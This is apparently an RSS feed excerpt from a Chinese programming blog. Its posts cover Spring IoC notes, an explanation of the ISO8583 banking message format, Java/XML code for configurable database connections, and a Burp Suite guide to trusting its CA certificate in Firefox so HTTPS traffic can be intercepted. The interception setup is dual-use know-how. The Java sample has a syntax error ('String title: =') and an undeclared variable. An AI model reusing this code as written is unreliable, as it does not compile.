      <link>http://blog.leaver.me/2014/07/01/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%BA%8C%E7%AB%A0ioc%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/</link>
      <pubDate>Tue, 01 Jul 2014 18:54:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/01/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%BA%8C%E7%AB%A0ioc%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/</guid>
      <description>&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;理念就是让别人为你服务，中文名控制反转，也叫依赖注入DI&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class FXNewsProvider

{

  private IFXNewsListener newsListener;

  private IFXNewsPersister newPersistener;

  public void getAndPersistNews()

{

String[] newsIds = newsListener.getAvailableNewsIds();

if(ArrayUtils.isEmpty(newsIds))

{
   return;
} 

for(String newsId : newsIds)

{ FXNewsBean newsBean = newsListener.getNewsByPK(newsId); 

newPersistener.persistNews(newsBean);

newsListener.postProcessIfNecessary(newsId);

}

}

}&lt;/pre&gt;
&lt;p&gt; &lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;假设这个类用来处理新闻，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;IFXNewsListener &lt;/span&gt;&lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;用来获取新闻，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;IFXNewsPersister  &lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;用来把获取的新闻持久化&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;当我们需要获取不同的新闻源，比如道琼斯的新闻时，我们会写一个&lt;/span&gt; &lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;DowJonesNewsListener&lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;类和&lt;/span&gt; &lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;DowJonesNewsPersister&lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;类，然后实例化&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public FXNewsProvider()

{

  newsListener = new DowJonesNewsListener();

  newPersistener = new DowJonesNewsPersister();

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;如果我们依赖于某个类或服务，最简单而有效的方式就是直接&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;在类的构造函数中新建相应的依赖类。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;注意看，&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;，我们都是自己主动地去获&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;取依赖的对象！&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;可是回头想想，我们自己每次用到什么依赖对象都要主动地去获取，这是否真的必要？我们最终&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;所要做的，其实就是直接调用依赖对象所提供的某项服务而已&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;能不能我们用的时候自动送过来呢？&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;。现在是用什么，让别人直接送过来就成。所以，简单点儿说，&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;IoC&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;的理念就是，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;让别人为你服务！在图&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;2-1&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;中，也就是让&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;IoC Service Provider&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;来为你服务！&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《Spring揭秘》读书笔记-第一章Spring框架的由来</title>
      <link>http://blog.leaver.me/2014/06/30/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%B8%80%E7%AB%A0spring%E6%A1%86%E6%9E%B6%E7%9A%84%E7%94%B1%E6%9D%A5/</link>
      <pubDate>Mon, 30 Jun 2014 20:40:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/30/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%B8%80%E7%AB%A0spring%E6%A1%86%E6%9E%B6%E7%9A%84%E7%94%B1%E6%9D%A5/</guid>
      <description>&lt;p&gt;1.框架的由来&lt;/p&gt;
&lt;p&gt;倡导J2EE轻量级应用解决方案&lt;/p&gt;
&lt;p&gt;框架总结结构&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/Spring-Framework.jpg&#34;&gt;&lt;img alt=&#34;Spring Framework&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8775d9e40dbc29240061edd2b9b6f76990f39cad.jpg&#34;&gt;&lt;/a&gt;
整个Spring架构建立在Core核心模块上，是基础，该模块中，有一个IoC容器的实现，用来以依赖注入的方式管理对象之间的依赖关系。Core中还有一些气筒工具类，比如IO工具类&lt;/p&gt;
&lt;p&gt;从图中看到，AOP模块，提供了轻便二强大的AOP框架，一AOP的形式增强POJO的能力，弥补OOP/OOSD的不足，采用Proxy模式，与IoC容器相结合&lt;/p&gt;
&lt;p&gt;继续向上看，在Core和AOP之上，提供了完毕的数据访问和事务管理的抽象，其中，对JDBC API的最佳实践简化了API的使用，还未ORM产品提供了统一的支持，&lt;/p&gt;
&lt;p&gt;为了简化Java EE的服务，比如JNDI，JMS等等，Spring还提供了这些的集成服务，&lt;/p&gt;
&lt;p&gt;最后就是Web模块，提供了一套自己的Web MVC框架，上层模块依赖于下层模块，水平之间的模块彼此基本可以认为独立。&lt;/p&gt;
&lt;p&gt;Spring不仅仅是容器，更是开发任何Java应用的框架，&lt;/p&gt;
&lt;p&gt;Spring 框架之上衍生的产品包括不限于Spring Web Flow,Spring Web Services,Spring Security,Spring Integration，Spring Rich Client 等等等等&lt;/p&gt;</description>
    </item>
    <item>
      <title>burpsuite抓包https</title>
      <link>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</link>
      <pubDate>Sun, 29 Jun 2014 06:43:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</guid>
      <description>&lt;p&gt;最近工作需要，需要burpsuite抓下https的包&lt;/p&gt;
&lt;p&gt;burpsuite抓包https的时候，如果是https协议，火狐会不信任证书&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/untrust.jpg&#34;&gt;&lt;img alt=&#34;untrust&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/14c5d2aedaa02e325fe21c03758796234ed83576.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个时候点击我已充分了解可能的风险，然后添加例外，弹出图中的对话框&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/step.jpg&#34;&gt;&lt;img alt=&#34;step&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4adf7f8902f07ea98a728a2d71270906208bfea6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击查看，进入证书管理企业免，选择图中的PortSwigger CA根证书，选择导出，保存一下这个证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/export.jpg&#34;&gt;&lt;img alt=&#34;export&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6e81972ac7283935e22a260f92ab4a582780eb73.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后打开火狐的选项，进入高级-&amp;gt;证书-&amp;gt;查看证书-&amp;gt;证书机构-&amp;gt;导入，选择刚才的证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/import.jpg&#34;&gt;&lt;img alt=&#34;import&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3e43de2ca0a2c88519035a3d39a60fb8757c4da9.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;，最后，记住选中信任此CA证书标识的网站，ok&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/finish.jpg&#34;&gt;&lt;img alt=&#34;finish&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/070d8695abea24e9e8bf11e162f12afccaa5385f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在再抓包，可以看到https也抓到了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/capture.jpg&#34;&gt;&lt;img alt=&#34;capture&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cf1f9324b8934ba12cab8ea0a19a530897e206e3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>8583报文相关</title>
      <link>http://blog.leaver.me/2014/06/27/8583%E6%8A%A5%E6%96%87%E7%9B%B8%E5%85%B3/</link>
      <pubDate>Fri, 27 Jun 2014 15:28:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/27/8583%E6%8A%A5%E6%96%87%E7%9B%B8%E5%85%B3/</guid>
      <description>&lt;p&gt;以下是我在学习的时候发现的好的资料，都是非常有帮助的。&lt;/p&gt;
&lt;p&gt;如果你想知道原理，看完下面这篇就会了&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;&lt;a href=&#34;http://leaver.me/archives/3663.html&#34;&gt;[藏]轻松掌握ISO8583报文协议原理&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;看了原理之后还想知道怎么来的。手工联系一下&lt;/p&gt;
&lt;h2 id=&#34;谈谈8583报文的使用及测试&#34;&gt;&lt;a href=&#34;http://blog.sina.com.cn/s/blog_4c925dca010178pt.html&#34;&gt;谈谈8583报文的使用及测试&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;这篇文章不错&lt;/p&gt;
&lt;p&gt;看完了想写代码了，可以看看这篇文章，基本上不能直接拿来用，但是可以参考实现&lt;/p&gt;
&lt;h2 id=&#34;iso8583报文工具类组装和解析报文&#34;&gt;&lt;span class=&#34;link_title&#34;&gt;&lt;a href=&#34;http://blog.csdn.net/lushuaiyin/article/details/14390725&#34;&gt; ISO8583报文工具类（组装和解析报文） &lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;看完之后这里还有一些补充&lt;/p&gt;
&lt;h2 id=&#34;iso-8583协议的简要说明&#34;&gt;&lt;a href=&#34;http://blog.sina.com.cn/s/blog_6182547f01014p02.html&#34;&gt;ISO-8583协议的简要说明&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后，http://www.jpos.org/这个库基本可以用来做这个事情。&lt;/p&gt;
&lt;p&gt;Jimmy写了一个例子非常好，&lt;a href=&#34;http://jimmod.com/blog/2011/07/jimmys-blog-iso-8583-tutorial-build-and-parse-iso-message-using-jpos-library/&#34;&gt;iso-8583-tutorial-build-and-parse-iso-message-using-jpos-library&lt;/a&gt;，至于银联的那个规范搜一下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]轻松掌握ISO8583报文协议原理</title>
      <link>http://blog.leaver.me/2014/06/27/%E8%97%8F%E8%BD%BB%E6%9D%BE%E6%8E%8C%E6%8F%A1iso8583%E6%8A%A5%E6%96%87%E5%8D%8F%E8%AE%AE%E5%8E%9F%E7%90%86/</link>
      <pubDate>Fri, 27 Jun 2014 14:30:53 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/27/%E8%97%8F%E8%BD%BB%E6%9D%BE%E6%8E%8C%E6%8F%A1iso8583%E6%8A%A5%E6%96%87%E5%8D%8F%E8%AE%AE%E5%8E%9F%E7%90%86/</guid>
      <description>&lt;div id=&#34;article_content&#34; class=&#34;article_content&#34;&gt;
&lt;p&gt;感谢@&lt;span style=&#34;font-size: 14px;&#34;&gt;&lt;span id=&#34;text2969839&#34; class=&#34;javascript&#34;&gt;&lt;a href=&#34;http://blog.csdn.net/lysheng/archive/2005/03/03/309914.aspx&#34;&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;lysheng&lt;/span&gt;&lt;/a&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;，&lt;/span&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;可惜原文已经删除了，因此全文备份。作者提到的&lt;span style=&#34;font-size: 14px;&#34;&gt;&lt;span id=&#34;text2969839&#34; class=&#34;javascript&#34;&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;“全面掌握ISO8583报文”和“符合CEN/XFS（即WOSA/XFS）规范的SP编写&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;，这两篇文章我能找到的话也会备份在本博客。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: 14px;&#34;&gt;&lt;span id=&#34;text2969839&#34; class=&#34;javascript&#34;&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;我 刚进入金融行业时，就知道了IS08583报文协议，我想可能我还没进入这个行业都已经听过了，可知ISO8583的影响力有多大了。最初刚接触它时，确 实对其中的一些细节概念不是很清晰，对有些地方比较迷惑。鉴于此，我想很多同行也必然会经历同样得阶段，所以我写下本文，以便大家能够少走一些弯路。同 时，我在网上&lt;/span&gt;&lt;span style=&#34;font-family: Verdana;&#34;&gt;写下我要写“全面掌握ISO8583报文”和“符合CEN/XFS（即WOSA/XFS）规范的SP编写”两篇文章时，很多人都询问我什么时候能够写出来，可知许多人是需要了解这方面的知识的，即使我时间不是很多，也得尽量将这两篇文章写出来，给需要的人提供一些参考。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;如果单纯的讲IS08583那些字段的定义，我觉得没有什么意思，标准中已经对每个字段解释的非常详细了，如果你觉得理解英文版的ISO8583规范有些 困难，网上也有同行为我们翻译好的中文版ISO8583规范，所以我的目的是达到阅读本文后能够对ISO8583知其然，亦知其所以然，使以前基本没有接 触它的人也能够达到掌握ISO8583报文规范。&lt;span style=&#34;font-size: 14px;&#34;&gt;
&lt;span style=&#34;font-family: Verdana;&#34;&gt;好了，我们该转入正题了。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;最开始时，金融系统只有IBM这些大的公司来提供设备，象各种主机与终端等。在各个计算机设备之间，需要交换数据。我们知道数据是通过网络来传送的，而在 网络上传送的数据都是基于0或1这样的二进制数据，如果没有对数据进行编码，则这些数据没有人能够理解，属于没有用的数据。起初的X.25、SDLC以及 现在流行的TCP/IP网络协议都提供底层的通讯编码协议，它们解决了最底层的通讯问题，能够将一串字符从一个地方传送到另一个地方。但是，仅仅传送字符 串是没有太大意义的，怎样来解析字符串代表什么内容是非常重要的，否则传送一些“0123abcd”的字符串也是无用的乱码。&lt;/p&gt;
&lt;p&gt;让我们随着时光回到几十年前的某个时刻，假设我们被推到历史的舞台上，由我们来设计一个通用报文协议，来解决金融系统之间的报文交换，暂且称该协议叫做 ISO8583协议。此时，技术是在不断的前行，当初IBM一支独秀的局面好像已经不妙了，各种大小不一的公司都进入金融行业以求能有所斩获，呈一片百花 齐放的局面。我们怎样来设计一个报文协议，能够将这些如雨后春笋般出现的所有公司都纳入进来，其实也不是一件很简单的事。&lt;/p&gt;
&lt;p&gt;我们还是先一步步的来考虑吧。金融行业其实涉及到的数据内容并不是成千上万，无法统计，恰恰相反，是比较少的。我们都可以在心底数得过来，象交易类型、帐 号、帐户类型、密码、交易金额、交易手续费、日期时间、商户代码、2磁3磁数据、交易序列号等，把所有能够总结出来的都总结起来不过100个左右的数据。 那我们可以首先简单的设计ISO8583，定义128个字段，将所有能够考虑到的类似上面提到的“帐号”等金融数据类型，按照一个顺序排起来，分别对应 128个字段中的一个字段。每个数据类型占固定的长度，这个顺序和长度我们都事先定义好。这样就简单了，要发送一个报文时，就将128个字段按照顺序接起 来，然后将接起来的整串数据包发送出去。&lt;/p&gt;
&lt;p&gt;任何金融软件收到ISO8583包后，直接按照我们定义的规范解包即可，因为整个报文的128个字段从哪一位到哪一位代表什么，大家都知道，只要知道你的 数据包是ISO8583包即可，我们都已经定义好了。比如第1个字段是“交易类型”，长度为4位，第2个字段位是“帐号”，为19位等等。接收方就可以先 取4位，再取接着的19位，依次类推，直到整个数据包128个字段都解完为止。&lt;/p&gt;
&lt;p&gt;其实这种做法真是简单直接，基本上就可以满足需要了。不过我们有几个问题要思考下：
1、 我怎么知道每个字段的数据类型呢，是数字还是字符？
2、 每个传送的报文都把128个字段都传过去，那网络带宽能够承受得了，有时候我可能只需要其中5个字段，结果多收到了123个无用的字段。
3、 如果我某些字段的长度不固定，属于变长怎么办，因为你现在解包是当作数据包每个字段都是固定的，用C语言解包时直接依靠指针取固定长度的一串字符做为一个字段。&lt;/p&gt;
&lt;p&gt;我们来一一解决这些问题。&lt;/p&gt;
&lt;p&gt;第一个问题简单，我在定义ISO8583时除了定义每个字段表示什么，还规定其内容是数字或是字符等即可。考虑可能出现的类型不过有以下几种：字母、数 字、特殊字符、年月日等时间、二进制数据。比如我对128个字段中的“商户类型”字段定义其长度是15，同时定义其类型为字母。再精细点，如果“商户类 型”里面的数据同时包括数字和字母呢？那我们就定义其类型为字母也可，为数字也可，即一个字段可以同时属于多个类型。&lt;/p&gt;
&lt;p&gt;第二个问题稍微复杂点。其本质就是如果我只传128个字段的5个字段，接收方怎么知道我传了哪几个字段给它了。要是我们把剩下的123全部填成0或其他特殊标识，标明该字段不需要使用？这种处理方法没有半点用处，没有解决网络带宽的本质问题，还是要传128个字段。&lt;/p&gt;
&lt;p&gt;换个思路，我在报文前面加上个包头，包头里面包含的信息能够让别人知道只传了5个字段。怎样设计这个包头，可以这样，我们用16个字节，即128个 bit（一个字节等于8bit）来表示128个字段中的某个字段是否存在。每个bit在计算机的二进制里面不是1就是0，如果是1就表示对应的字段在本次 报文中存在，如果是0就是不存在。这样好了，如果别人接收到了ISO8583报文，可以先根据最前面的报文头，就知道紧接着报文头后面的报文有哪些字段， 没有哪些字段了。比如，我要发送5个字段，分别属于128个字段中的第2、3、6、8、9字段，我就可以将128bit的报文头填成 011001011000000000………..，一共128个bit，后面就全是0了。注意其中第2、3、6、8、9位为1，其他都为0。&lt;/p&gt;
&lt;p&gt;有了这个128bit的报文头，我们就可以只发送需要的5个字段了。怎样组织报文？先放上这128bit，即16个字节的头，然后在头后面放2、3、6、 8、9字段，这些字段紧挨在一起，3和6之间也不需要填上4、5这两个字段了。接收方收到这个报文，它会根据128bit的报文头来解包，它自然知道把第 3个字段取出后，就直接在第3字段的后面取第6个字段，每个字段的长度在ISO8583里面都定义好了，很轻松就把数据包解出来了。&lt;/p&gt;
&lt;p&gt;这下好了，为了解决上面的第二问题，我们只是在报文中增加了16个字节的数据，就轻松搞定了，我们把这16个字节称为bit map，即位图，用来表示某个位是否存在。不过我们再稍微优化一下，考虑到很多时候报文不需要128个字段这么多，其一半64个字段都不一定能够用完。那 我可以将报文头由128bit减到64bit，只有在需要的时候才把剩下的64bit放到报文里面，这样报文长度不又少了8个字节吗？&lt;/p&gt;
&lt;p&gt;是个好主意。我们把ISO8583的128个字段中最常见的都放到前64个字段中，那我们可以将处理缩小一倍。这样我一般发送报文时只需发送64bit， 即一个字节的报文头，再加上需要的几个字段就可以了。如果有些报文用到64到128之间的字段呢？这个也好办，我把64bit报文头的第一位bit用来代 表特殊含义，如果该bit为1，则表示64bit后面跟了剩下的64bit报文头；如果第一位bit为0，则表示64bit后面没有跟剩下的64bit报 文头，直接是128个字段中的报文了。那们，接收方会判断一下报头的第一个bit是1还是0，从而知道报文头是64bit还是128bit了，就可以做相 应处理。因为报文头第二个64bit属于有时候有，所以我们叫它Extended bit map扩展位图，相应的报文头最开始的64bit我们叫它Primary bit map主位图。我们直接把扩展位图固定放到128个字段的第一个字段，而主位图每个数据包都有，就强制性放在所有128个字段的前面，并不归入128个字 段中去。&lt;/p&gt;
&lt;p&gt;第三个问题可以考虑这样解决。比如第2个字段是“帐号”，是不定长的，可能有的银行帐号是19位，有的是17位等。我们定ISO8583规范时可以规定第 2个字段是25位，这下足够将19和17的情况都包含进来，但是如果以后出现了30位的怎么办？那我们现在将字段定为100位。以后超过100位怎么办， 况且如果你只有19位的帐号，我们定义了100位，那81位的数据不是浪费了网络的带宽。看来预先定义一个我们认为比较大的位数是不太好的。&lt;/p&gt;
&lt;p&gt;我们这样，对于第2个字段“帐号”，在字段的开头加上“帐号”的长度。比如帐号是0123456789，一共10位，我们变成100123456789， 注意前面多了个10，表示后面的10位为帐号。如果你接触过COM里面的BSTR，应该对这种处理比较熟悉了。接收方收到该字段后，它知道ISO8583 规定第2个字段“帐号”是变长的，所以会先取前面的2位出来，获取其值，此时为长度，然后根据该长度值知道应该拷贝该字段后面哪几位数据，才是真正的帐 号。如果你觉得长度如果只有两位最多只能表示99位长，不太够，我们也定义可以允许前面3位都为长度的变长字段，这样就有999位长，应该够了吧。在规范 里面如果我定义某个字段的属性是“LLVAR”，你注意了，其中的LL表示长度，VAR表示后面的数据，两个LL表示两位长，最大是99，如果是三位就是 “LLLVAR”，最大是999。这样看我们定义的ISO8583规范文档时直接根据这几个字母就理解某个变长字段的意思了。&lt;/p&gt;
&lt;p&gt;该解决的几个问题到这里都解决了，我们来回顾下自己设计的ISO8583规范。其实没有什么，无非是把金融行业可能出现的数据分门别类，排好顺序，接着把 它们连接起来，组成一个报文发送出去而已。其中针对该报文的设计进行了一些优化，引入了bit map位图的概念，也算是一个不错的想法。&lt;/p&gt;
&lt;p&gt;剩下的工作就简单了，我们就直接收集金融行业可能出现的数据字段类型，分成128个字段类型，如果没有到128个这么多就先保留一些下来，另外考虑到有些人有特殊的要求，我们规定可以将128个字段中的几个字段你自己来定义其内容，也算是一种扩展了。&lt;/p&gt;
&lt;p&gt;这样，最后我们就得到了ISO8583规范的那张字段描述表了。想要详细的知道每个字段的含义直接对着表看就可以，比较简单。&lt;/p&gt;
&lt;/div&gt;</description>
    </item>
    <item>
      <title>构建数据库连接的配置方法</title>
      <link>http://blog.leaver.me/2014/04/26/%E6%9E%84%E5%BB%BA%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E9%85%8D%E7%BD%AE%E6%96%B9%E6%B3%95/</link>
      <pubDate>Sat, 26 Apr 2014 16:56:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/04/26/%E6%9E%84%E5%BB%BA%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E9%85%8D%E7%BD%AE%E6%96%B9%E6%B3%95/</guid>
      <description>&lt;p&gt;以前我在写数据库连接的时候，都是在文件里写死的，或者一个简单地配置文件，只有一个数据库连接嘛，但是最近写一个测试工具的时候，需要很多数据库，而且有些还有分库规则，于是查找资料，完善了两个类，和xml的定义规则，分享出来。仅供参考，有任何指教请回复。不胜感谢&lt;/p&gt;
&lt;p&gt;首先xml的配置格式定义如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt;  
&amp;lt;config&amp;gt;  
	 &amp;lt;db-info&amp;gt;
        &amp;lt;id&amp;gt;oracle-test&amp;lt;/id&amp;gt;  
        &amp;lt;driver-name&amp;gt;oracle.jdbc.driver.OracleDriver&amp;lt;/driver-name&amp;gt;  
        &amp;lt;url&amp;gt;jdbc:oracle:thin:@127.0.0.1:1521:test&amp;lt;/url&amp;gt;  
        &amp;lt;user-name&amp;gt;admin&amp;lt;/user-name&amp;gt;  
        &amp;lt;password&amp;gt;admin&amp;lt;/password&amp;gt;  
    &amp;lt;/db-info&amp;gt;  
	 &amp;lt;db-info&amp;gt;
        &amp;lt;id&amp;gt;mysql-test&amp;lt;/id&amp;gt;  
        &amp;lt;driver-name&amp;gt;com.mysql.jdbc.Driver&amp;lt;/driver-name&amp;gt;  
        &amp;lt;url&amp;gt;jdbc:mysql://127.0.0.1:3306&amp;lt;/url&amp;gt;  
        &amp;lt;user-name&amp;gt;root&amp;lt;/user-name&amp;gt;  
        &amp;lt;password&amp;gt;root&amp;lt;/password&amp;gt;  
    &amp;lt;/db-info&amp;gt;
&amp;lt;/config&amp;gt;&lt;/pre&gt;
&lt;p&gt;然后我们有XmlConfigReader类，用来读取这个配置文件，并且返回对应的jdbcConfig对象。&lt;/p&gt;
&lt;p&gt;这个对象就是一个model类，对应xml的属性&lt;/p&gt;
&lt;p&gt;然后我们的DBUtil类会调用XmlConfigReader，通用的一般是传个&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;id&amp;gt;mysql-test&amp;lt;/id&amp;gt;&lt;/pre&gt;
&lt;p&gt;值，然后XmlConfigReader来读取返回，对象，然后在DBUtil里用这个对象得知来构造连接，我添加了一个简单的方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;public static Connection getConnection(String dbId,String dbName) throws ClassNotFoundException
	{
		Connection conn = null;

		try {
			//新建jdbc配置类。
			XmlConfigReader xcr=new XmlConfigReader();
			JdbcConfig jdbcconfig = xcr.getConnection(dbId,dbName);
			Class.forName(jdbcconfig.getDriverName());
			//取得连接对象。
			conn = DriverManager.getConnection(jdbcconfig.getUrl(), jdbcconfig.getUserName(), jdbcconfig.getPassword());

		} catch (ClassNotFoundException e) {
			// 抛出 exception
			e.printStackTrace();
		}catch(SQLException e)
		{
			e.printStackTrace();
		}

		return conn;

	}&lt;/pre&gt;
&lt;p&gt;就是多传一个数据库名&lt;/p&gt;
&lt;p&gt;然后XmlConfigReader哩对应有这个方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//分库分表使用
		public  JdbcConfig getConnection(String dbId,String dbName) {
			SAXReader reader = new SAXReader();

			// 拿到当前线程。
			InputStream in = Thread.currentThread().getContextClassLoader()
					.getResourceAsStream(&#34;sys-config.xml&#34;);
			try {
				Document doc = reader.read(in);
				Element rootElt = doc.getRootElement(); // 获取根节点
				Iterator&amp;lt;?&amp;gt; iter = rootElt.elementIterator(&#34;db-info&#34;);
				while (iter.hasNext()) {
					Element recordEle = (Element) iter.next();
					String title: = recordEle.elementTextTrim(&#34;id&#34;);
					if (title.equalsIgnoreCase(dbId)) {
						jdbcconfig.setDriverName(recordEle
								.elementTextTrim(&#34;driver-name&#34;));
						jdbcconfig.setUrl(recordEle.elementTextTrim(&#34;url&#34;)+&#34;/&#34;+dbName);
						jdbcconfig.setUserName(recordEle
								.elementTextTrim(&#34;user-name&#34;));
						jdbcconfig.setPassword(recordEle
								.elementTextTrim(&#34;password&#34;));
					}
				}

			} catch (DocumentException e) {
				// 打印错误
				e.printStackTrace();
			}
			return jdbcconfig;

		}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]再谈JavaScript中的闭包</title>
      <link>http://blog.leaver.me/2014/04/26/%E8%97%8F%E5%86%8D%E8%B0%88javascript%E4%B8%AD%E7%9A%84%E9%97%AD%E5%8C%85/</link>
      <pubDate>Sat, 26 Apr 2014 16:36:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/04/26/%E8%97%8F%E5%86%8D%E8%B0%88javascript%E4%B8%AD%E7%9A%84%E9%97%AD%E5%8C%85/</guid>
